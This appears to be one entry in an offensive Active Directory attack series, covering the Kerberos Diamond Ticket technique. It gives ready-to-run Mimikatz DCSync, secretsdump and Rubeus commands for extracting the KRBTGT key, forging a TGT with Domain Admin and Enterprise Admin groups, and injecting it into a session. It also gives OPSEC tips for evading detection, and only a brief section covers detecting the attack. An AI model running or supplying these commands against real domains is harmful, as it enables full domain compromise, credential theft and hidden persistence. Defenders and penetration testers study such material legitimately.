🟠 Attack #13 — Diamond Ticket Attack

📖 How It Works

The Diamond Ticket is an evolution of the Golden Ticket that was developed to bypass modern detection mechanisms. While a Golden Ticket forges a TGT entirely from scratch (meaning there is no corresponding AS-REQ in the DC logs, which is a primary detection indicator), a Diamond Ticket takes a legitimate TGT obtained through a real AS-REQ/AS-REP exchange, decrypts it using the KRBTGT AES key, modifies the PAC (Privilege Attribute Certificate) to inject elevated group memberships, then re-encrypts and re-signs it. Because the ticket originated from a real authentication event, it has a valid audit trail on the DC — making it significantly harder to detect.

Diamond Ticket vs Golden Ticket

The Full Attack Flow

1. Obtain KRBTGT AES256 key (via DCSync)
2. Request a legitimate TGT for your controlled user (real AS-REQ)
3. Rubeus decrypts the TGT using the KRBTGT AES key
4. Modify the PAC — inject DA/EA group memberships (RID 512, 519, etc.)
5. Re-encrypt and re-sign the TGT with the KRBTGT key
6. Inject the modified ticket into your session
7. Access any resource as DA — with a clean audit trail on the DC

⚙️ Prerequisites

🛠️ Tools

💻 Full Commands

🔵 Step 0 — Extract KRBTGT AES256 Key

# ── Mimikatz DCSync for KRBTGT AES key ────────────────────────────────────────
privilege::debug
lsadump::dcsync /domain:corp.local /user:krbtgt

# Look for: aes256_hmac: b65fb27c8e0d7c5f48b16c10b4...

# ── Linux — secretsdump ───────────────────────────────────────────────────────
secretsdump.py corp.local/Administrator:'Password1'@DC01.corp.local -just-dc-user krbtgt
# Extract the aes256-cts-hmac-sha1-96 key from the kerberos section

🔴 Rubeus — Forge Diamond Ticket

# ── Standard Diamond Ticket — impersonate DA ──────────────────────────────────
.\Rubeus.exe diamond \
  /krbkey:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  /user:low_user \
  /password:Password1 \
  /enctype:aes \
  /domain:corp.local \
  /dc:DC01.corp.local \
  /ticketuser:Administrator \
  /ticketuserid:500 \
  /groups:512 \
  /ptt

# Flags explained:
# /krbkey     = KRBTGT AES256 key
# /user       = YOUR low-priv user to request initial legitimate TGT
# /password   = YOUR password for the initial TGT request
# /enctype    = Force AES encryption (stealthy)
# /ticketuser = The user identity to embed in the modified PAC
# /ticketuserid = RID of the target user (500 = Administrator)
# /groups     = Group RIDs to inject (512=DA, 519=EA, 518=Schema Admins)
# /ptt        = Inject into current session

# ── Diamond Ticket with multiple privileged groups ────────────────────────────
.\Rubeus.exe diamond \
  /krbkey:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  /user:low_user \
  /password:Password1 \
  /enctype:aes \
  /domain:corp.local \
  /dc:DC01.corp.local \
  /ticketuser:Administrator \
  /ticketuserid:500 \
  /groups:512,519,518,520 \
  /ptt

# ── Diamond Ticket with LDAP + OPSEC flags ───────────────────────────────────
.\Rubeus.exe diamond \
  /krbkey:b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  /user:low_user \
  /password:Password1 \
  /enctype:aes \
  /domain:corp.local \
  /dc:DC01.corp.local \
  /ticketuser:Administrator \
  /ticketuserid:500 \
  /groups:512 \
  /ldap /nowrap /ptt

# /ldap = Query LDAP for accurate user/group info for the PAC (most OPSEC)

# ── Verify ────────────────────────────────────────────────────────────────────
klist
dir \\DC01.corp.local\C$

🎯 OPSEC Tips

• Diamond Ticket is the stealthiest TGT-based attack — unlike Golden Ticket, a real AS-REQ exists in DC logs, so the “TGS without TGT” detection fails
• Always use AES256 — RC4 encryption generates detectable anomalies; AES256 is standard
• Use the /ldap flag in Rubeus to pull real user attributes for the PAC — this prevents inconsistencies that could be flagged by PAC inspection
• The KRBTGT AES key is mandatory — unlike Golden Tickets which can use the NT hash (RC4), Diamond Tickets require the AES key for proper decryption/re-encryption

🛡️ Detection — Event IDs

Primary detection: Diamond Tickets require PAC-level inspection — comparing the group memberships claimed in the TGT’s PAC against the user’s actual AD group memberships. If a user’s TGT claims membership in Domain Admins but their AD object shows no such membership, it’s a forged or modified ticket. Microsoft Defender for Identity can perform this correlation.

🔗 Attack Chain Context

[Diamond Ticket] ──→ Stealthy Domain Admin Persistence
         │
         ├──→ 🎫 Stealthier Golden Ticket — has real AS-REQ in DC logs
         ├──→ 🩸 Use as DA → DCSync → extract all hashes
         ├──→ 🔒 Survives password changes (until KRBTGT reset × 2)
         ├──→ 🔗 Chain: DCSync (get KRBTGT key) → Diamond Ticket → persist
         └──→ 💀 Defeated by: KRBTGT password reset × 2, PAC inspection, MDI

✅ Attack #13 — Diamond Ticket complete.